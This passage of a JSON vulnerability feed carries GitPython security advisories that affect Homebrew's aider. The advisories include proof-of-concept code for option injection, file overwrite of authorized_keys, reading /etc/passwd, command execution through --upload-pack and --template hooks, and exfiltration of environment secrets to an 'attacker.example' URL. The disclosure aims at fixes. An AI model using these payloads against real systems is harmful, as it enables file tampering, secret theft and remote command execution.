-\n```\n\n`file:///path` is likewise accepted without error. Note this is **not** a tokenisation bypass: `multi_options` is `shlex.split` before the check (per `c9a26789` / GHSA-x2qx-6953-8485), so the fully-split `--bundle-uri=...` token is checked and legitimately passes because the option is not on the list.\n\nWhy it belongs with this report: both are the *membership* question rather than the matching logic — is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route **every** URL-bearing option through `check_unsafe_protocols()`, not only the positional URL. Adding `--bundle-uri` to `unsafe_git_clone_options` would be the minimal fix.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2193"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/7a4f5dcb7bf3cbcbf6e438017efcdfe0bc0d36ca"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73620","published":"2026-08-14T08:50:09Z","modified":"2026-09-11T15:20:33Z","upstream":["GHSA-3f7w-8rr8-f37f","CVE-2026-73620","PYSEC-2026-3949"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.57","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Unguarded git option forwarding in IndexFile.checkout() and TagReference.create() enables arbitrary file overwrite and arbitrary file read","details":"**Target:** gitpython-developers/GitPython\n**Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1`\n**Reported instances:** 2 exploitable, from a sweep of 14 unguarded call sites\n\n## Summary\n\nGitPython blocks dangerous git options through `Git.check_unsafe_options()`, gated per method by an `allow_unsafe_options` parameter. That guard is applied **per call site**, so any API that forwards `**kwargs` into a git command without calling it passes caller-controlled options straight to git.\n\nA mechanical sweep of every method that forwards `**kwargs` into a `.git.(...)` call found **14 sites with no guard**. Two reach a git option that takes a filesystem path:\n\n| # | Call site | git option | Impact |\n|---|---|---|---|\n| 1 | `IndexFile.checkout()` → `git checkout-index` | `--prefix=` | arbitrary file **overwrite** with repository-controlled content |\n| 2 | `TagReference.create()` → `git tag` | `-F ` / `--file=` | arbitrary file **read**, returned in-band |\n\nThis is the same defect class already fixed in `Commit.count()` (GHSA-p538-c434-8v24), `Repo.archive()` and `Git.ls_remote()` (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD.\n\n---\n\n## Instance 1 — `IndexFile.checkout()`: arbitrary file overwrite\n\n`git/index/base.py:1210` accepts `**kwargs` and forwards them with no guard:\n\n```python\ndef checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs):\n ...\n proc = self.repo.git.checkout_index(*args, **kwargs) # line 1331\n ...\n proc = self.repo.git.checkout_index(args, **kwargs) # line 1349\n```\n\nThere is no `allow_unsafe_options` parameter and no `check_unsafe_options()` call in the method.\n\n`git checkout-index` accepts `--prefix=`, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and `-f` overwrites what is already there.\n\n### Reproduction\n\n```python\nfrom git import Repo\nRepo(\"/path/to/repo\").index.checkout(prefix=\"/tmp/target_dir/\", a=True, f=True)\n```\n\nObserved (`poc/poc_checkout_index.py`) — no exception raised, files land outside the repository:\n\n```\n[ALLOWED] no UnsafeOptionError raised\nfiles written outside the repo: ['f.txt']\n f.txt: 'hi\\n'\n```\n\nOverwrite of a pre-existing file (`poc/poc_ci_overwrite.py`) — the victim file held `ORIGINAL-DO-NOT-CLOBBER\\n` before the call:\n\n```\n[ALLOWED] no exception\nvictim content now: 'hi\\n'\nOVERWRITTEN: True\n```\n\n### Why this rates High\n\nBoth halves of the write are attacker-influenced:\n\n- **Destination** — the `prefix` kwarg.\n- **Content** — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written.\n\nCommit a file named `authorized_keys`, `.bashrc`, `config` or `post-checkout`, choose the matching prefix (`~/.ssh/`, `~/`, `.git/hooks/`), and the write becomes code execution as the service account.\n\nFor comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via `git diff --output`) is rated High, and GHSA-p538-c434-8v24 (arbitrary file *truncation* via `git rev-list --output`) is rated Medium. `--prefix` supplies full content control, so it sits at or above the former.\n\n---\n\n## Instance 2 — `TagReference.create()`: arbitrary file read\n\n`git/refs/tag.py:88` forwards `**kwargs` into `git tag` with no guard, and the signature advertises the passthrough:\n\n```python\ndef create(cls, repo, path, reference=\"HEAD\", logmsg=None, force=False, **kwargs):\n \"\"\"...\n :param kwargs:\n Additional keyword arguments to be passed to :manpage:`git-tag(1)`.\n \"\"\"\n```\n\n`git tag` accepts `-F ` / `--file=`, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via `TagReference.tag.message`, so the file contents come back in-band.\n\n### Reproduction\n\n```python\nfrom git import Repo\nfrom git.refs.tag import TagReference\n\nt = TagReference.create(Repo(\"/path/to/repo\"), \"x\", force=True, a=True, F=\"/etc/passwd\")\nprint(t.tag.message)\n```\n\nObserved (`poc/poc_tag_F.py`), reading a canary file outside the repository:\n\n```\n[ALLOWED] no UnsafeOptionError raised\n>>> tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\\nsecond-line-secret'\n```\n\nImpact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (`-s`, `-u`/`--local-user`) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it.\n\n---\n\n## Sweep results — the other 12 sites\n\nReported so the fix can be scoped once rather than per report. `poc/sweep.py` reproduces this list.\n\n| Call site | git command | Assessment |\n|---|---|---|\n| `IndexFile.from_tree()` | `read-tree` | `--index-output=` looked reachable but is **neutralised**: GitPython appends its own `--index-output` after the caller's kwargs and git honours the last occurrence. Verified — victim file unchanged (`poc/poc_readtree.py`) |\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n| `Head.delete()`, `RemoteReference.delete()` | `branch` | no path-taking option found |\n| `Repo.merge_base()` | `merge-base` | no path-taking option found |\n| `Repo._get_untracked_files()` | `status` | no path-taking option found |\n| `Remote.set_url()`, `Remote.create()`, `Remote.update()` | `remote` | URL handling already addressed by GHSA-94p4-4cq8-9g67 |\n\n## Suggested remediation\n\n**Immediate:** add `allow_unsafe_options: bool = False` to both methods and gate `Git._option_candidates(args, kwargs)` against new lists — `unsafe_git_checkout_index_options = [\"--prefix\"]` (consider `--temp`) and `unsafe_git_tag_options = [\"--file\", \"-F\"]` (consider `-s`, `-u`/`--local-user`, `--cleanup`) — matching the pattern used in `Repo.archive()` and `Commit.count()`.\n\n**Structural:** this defect has now been fixed four times in four places (`Repo.archive()`, `Git.ls_remote()`, `Commit.count()`, and the two here), because the guard is opt-in per method: every new `**kwargs`-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally in `Git._call_process()` — each git invocation consults a per-command unsafe-option table unless the caller opts out — would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time.\n\n## Disclosure\n\nReported privately via GitHub private vulnerability reporting.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2193"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/3af0c2516c5e18c829da30338614688f6b69b49c"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73621","published":"2026-08-14T08:50:09Z","modified":"2026-09-11T15:20:33Z","upstream":["GHSA-p538-c434-8v24","CVE-2026-73621","PYSEC-2026-3950"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.56","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Arbitrary file truncation via git rev-list --output argument injection in unguarded Commit.count","details":"## Summary\n`Commit.count()` forwards `**kwargs` into `rev_list` with **no** `check_unsafe_options` guard (the guard exists only in the sibling `iter_items`, commit.py:341). `git rev-list --output=` opens and truncates the target file to 0 bytes before revision parsing, so `count(output='/victim')` destroys/blanks an arbitrary file.\n\n## Root Cause\n`commit.py:290-291` calls `self.repo.git.rev_list(self.hexsha, **kwargs)` with no `check_unsafe_options` and no `allow_unsafe_options` parameter. The sibling `iter_items` (commit.py:341) is guarded; `count` is not. This is a distinct, uncovered sink — GHSA-956x-8gvw-wg5v fixed `iter_commits`/`blame`, not `count`.\n\n## Impact\nDestroy/blank an arbitrary file at process privilege (integrity/availability). Reachability is key-control only (`count` uses `self.hexsha`, not a user ref), and the write is a 0-byte truncation (no content control), so MEDIUM.\n\n## Proof of Concept\n```python\ncommit.count(output='/path/to/victim') # victim truncated to 0 bytes (verified)\n# control: commit.iter_commits(output=...) raises UnsafeOptionError\n```\n\n## Attack Chain\n1. Entry: app forwards user options -> `commit.count(output='/victim')`. Guard: none. Bypass proof: `iter_commits(output=)` raises UnsafeOptionError; `count(output=)` does not — verified side-by-side.\n2. Sink: `git rev-list --output=/victim` -> file truncated to 0 bytes. Impact: destroy/blank arbitrary file.\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): `count(output=)` truncated a pre-existing file to 0 bytes; guarded `iter_commits(output=)` raised UnsafeOptionError. Same CNA-accepted \"app forwards user options dict\" model as GHSA-956x-8gvw-wg5v's `archive(**kwargs)`. Uncovered sink, not a duplicate.\n\n## Affected Versions\n`<= 3.1.53`\n\n## Suggested Fix\nAdd `check_unsafe_options` to `Commit.count` (mirroring `iter_items`).\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-p538-c434-8v24"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2184"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/38553b6fddc7f6a667cdb45a6762343a08fc72b2"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.56"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73622","published":"2026-08-14T08:50:09Z","modified":"2026-09-25T09:58:14Z","upstream":["GHSA-94p4-4cq8-9g67","CVE-2026-73622","PYSEC-2026-3951"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.55","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)","details":"## Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same \"import repository from URL\" threat model the advisory describes, via the sibling caller the fix missed.\n\n## Root Cause\n\nFix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated.\n\n[`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`:\n\n```python\nurl = Git.polish_url(url) # expand_vars=True -> os.path.expandvars(url)\nif not allow_unsafe_protocols:\n Git.check_unsafe_protocols(url) # https:// carrying the secret passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs) # expanded URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53 (installed below)\n\n### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip install gitpython==3.1.53\n```\n\n### Step 2: Write the PoC\n\n```bash\ncat > poc.py <<'PYEOF'\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython version:\", git.__version__)\n\n# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"] = SENTINEL\n\n# Local HTTP server standing in for attacker.example.\ncaptured = []\n\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n def do_GET(self):\n captured.append(self.path)\n self.send_response(404)\n self.end_headers()\n\n def log_message(self, *a):\n pass\n\n\nsrv = http.server.HTTPServer((\"127.0.0.1\", 0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\n\n# Attacker-controlled URL handed to an \"import from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\" % port\n\n\ndef norm(s): # display the ephemeral listener port as a stable placeholder\n return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\n\nprint(\"attacker-supplied URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote = repo.create_remote(\"evil\", attacker_url) # public API\n\nstored = repo.remote(\"evil\").url\nprint(\"stored remote URL :\", norm(stored))\nprint(\"SENTINEL in git config:\", SENTINEL in stored)\n\ntry:\n remote.fetch() # transmits the expanded URL to the attacker host\nexcept Exception:\n pass # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received :\", [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif SENTINEL in stored and over_network:\n print(\"VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n print(\"not reproduced\")\nPYEOF\n```\n\n### Step 3: Run it\n\n```bash\ncd /tmp/gp-remote-poc && ./venv/bin/python poc.py\n```\n\nExpected output (the listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version: 3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored remote URL : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL in git config: True\nHTTP paths received : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL over network : True\n\nVULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in the supplied URL is replaced with the environment value both in the stored `.git/config` URL and in the request that reaches the attacker-controlled host.\n\n## Suggested Fix\n\nPass `expand_vars=False` at the remaining URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`: `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py` `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.\n\n## Cleanup\n\n```bash\nrm -rf /tmp/gp-remote-poc\n```\n\n## Impact\n\nAny secret in the hosting process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded into `.git/config` immediately and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote update`. This is the documented \"import repository from URL\" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches `.gitmodules` (a committable file) via `Submodule.add()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3951.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73623","published":"2026-08-14T08:50:09Z","modified":"2026-09-11T15:20:33Z","upstream":["GHSA-6p8h-3wgx-97gf","CVE-2026-73623","PYSEC-2026-3952"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.54","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks","details":"## Summary\nGitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=` copies `/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration.\n\n## Root Cause\n`base.py:145-152` defines `unsafe_git_clone_options = [\"--upload-pack\",\"-u\",\"--config\",\"-c\"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense.\n\n## Impact\nArbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H.\n\n## Proof of Concept\n```python\n# attacker stages /hooks/post-checkout (chmod +x)\nfrom git import Repo\nRepo.clone_from(src, dst, template='') # post-checkout hook executes -> marker created (verified)\n```\n\n## Attack Chain\n1. Setup: attacker stages `/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem).\n2. Entry: `Repo.clone_from(url, path, template='')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -> passes (verified candidate `['--template']`, no error).\n3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created).\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.\n\n## Affected Versions\n`<= 3.1.53`\n\n## Suggested Fix\nAdd `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-6p8h-3wgx-97gf"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2180"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/ffcb5359e87619f4fe4a70a4aff5f08c5580ba97"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73624","published":"2026-08-14T08:50:09Z","modified":"2026-09-30T09:56:01Z","upstream":["GHSA-fjr4-x663-mwxc","CVE-2026-73624","PYSEC-2026-3995"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.54","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Arbitrary file overwrite via git diff --output argument injection in Diffable.diff (key- and value-controlled)","details":"## Summary\n`Diffable.diff()` forwards `**kwargs` straight into `diff`/`diff_tree` with **no** `check_unsafe_options` guard. `Diffable` is mixed into `Commit`, `Tree`, `IndexFile`, and `Submodule`, giving a broad surface. `git diff --output=` writes real patch content to an attacker-chosen path, enabling arbitrary file overwrite.\n\n## Root Cause\n`diff.py:188-283` builds and runs the diff command with no `check_unsafe_options` anywhere in the method (grep-confirmed). Additionally `diff.py:265` does `args.insert(0, other)`, placing the caller-supplied `other` ref BEFORE the `--` separator, so a value of `--output=/path` is parsed by git as an option — a value-only control path requiring no kwarg key.\n\n## Impact\nOverwrite/corrupt any file at process privilege with attacker-chosen path (e.g. `~/.ssh/authorized_keys`, configs, lockfiles). Content is real diff/patch bytes (attacker-influenced). Per the skill's rule, controlling WHICH file is overwritten = I:H regardless of content constraints.\n\n## Proof of Concept\n```python\n# Key-control:\ncommit.diff(other_commit, output='/home/app/.ssh/authorized_keys') # victim overwritten with diff (105 bytes verified)\n# Value-control (attacker controls only the ref string):\ncommit.diff(other='--output=/home/app/.ssh/authorized_keys') # 14-byte victim -> 146 bytes of diff-tree output\n```\n\n## Attack Chain\n1. Entry (value-control): `commit.diff(other=)` with `other = \"--output=/home/app/.ssh/authorized_keys\"`. Guard: none in `Diffable.diff`. Bypass proof: no `check_unsafe_options` in the method body (grep); `other` inserted pre-`--` at diff.py:265.\n2. Sink: `git diff-tree --output=/home/app/.ssh/authorized_keys -r ...` -> git opens+truncates the target then writes diff content. Impact: overwrite/corrupt any file at process privilege (attacker chooses the path). Verified argv and victim overwrite live.\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): both key-control (`output=`) and value-control (`other='--output=...'`) overwrote a victim file with real diff-tree content; argv confirmed `['git','diff-tree','','--output=/victim','-r',...]`. This is the same value-control model GHSA-956x deemed fix-worthy for `iter_commits(rev='--output=')` — but `diff` is a distinct, unguarded sink NOT touched by that fix.\n\n## Affected Versions\n`<= 3.1.53`\n\n## Suggested Fix\nAdd `check_unsafe_options` to `Diffable.diff` (mirroring `iter_commits`/`archive`), and/or place `--end-of-options` before the `other` ref so it cannot be parsed as an option.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-fjr4-x663-mwxc"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2180"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/1d51b891d7f236044a6aa17498ec682b63dad6e6"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.54"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73625","published":"2026-08-14T08:50:09Z","modified":"2026-09-11T15:20:33Z","upstream":["GHSA-r9mr-m37c-5fr3","CVE-2026-73625","PYSEC-2026-3953"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.54","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Unsafe git option guard bypass via single-character kwarg value token smuggling enables arbitrary command execution","details":"## Summary\nGitPython's `check_unsafe_options` guard (the control introduced by CVE-2026-42215 / GHSA-2f96 and hardened since) can be bypassed for **every** guarded method (`clone`/`clone_from`, `fetch`/`pull`/`push`, `ls_remote`, `iter_commits`, `blame`, `archive`) by smuggling an option token inside the VALUE of a single-character kwarg. In the default `allow_unsafe_options=False` configuration this yields arbitrary command execution via `--upload-pack`.\n\n## Root Cause\nThe guard builds its candidate option list from kwarg KEYS only: `_option_candidates([], {\"n\":\"--upload-pack=\"})` returns `['-n']` (cmd.py:1042-1046 derives the candidate from the key, never the value). `-n` is not on the denylist, so `check_unsafe_options` passes. But `transform_kwarg('n', value, split_single_char_options=True)` (cmd.py:1600-1606) emits **two** argv tokens `['-n', '--upload-pack=']`. git then parses the second token as `--upload-pack` and executes the attacker-supplied command. The guard never inspects the value that becomes a separate argv token.\n\n## Impact\nArbitrary OS command execution as the host process (via `--upload-pack`) in the default configuration, affecting all guarded methods since they all build candidates through the name-only `_option_candidates`.\n\n## Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(bare_repo, out_dir, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")\n# /tmp/ACE created -> ACE. Direct-name form upload_pack=\"...\" is correctly BLOCKED.\n```\nFile-write variant on a guarded revision command: `iter_commits('HEAD', g='--output=/path')` -> candidate `['-g']` passes, argv `['-g','--output=/path']`, victim file truncated.\n\n## Attack Chain\n1. Entry: app forwards a user-supplied options dict -> `Repo.clone_from(url, path, n=\"--upload-pack=touch /tmp/ACE;git-upload-pack\")`. Guard: `check_unsafe_options(options=_option_candidates([], kwargs), unsafe=unsafe_git_clone_options)` at base.py. Bypass proof: `_option_candidates([], {\"n\":\"--upload-pack=...\"})` -> `['-n']` (key-only), not on denylist -> no UnsafeOptionError (verified live).\n2. Transform: `transform_kwarg('n', value, split_single_char_options=True)` -> `['-n', '--upload-pack=touch /tmp/ACE;git-upload-pack']`. Guard: none (guard already passed on name-only candidate). Bypass proof: verified transform emits two tokens.\n3. Sink: 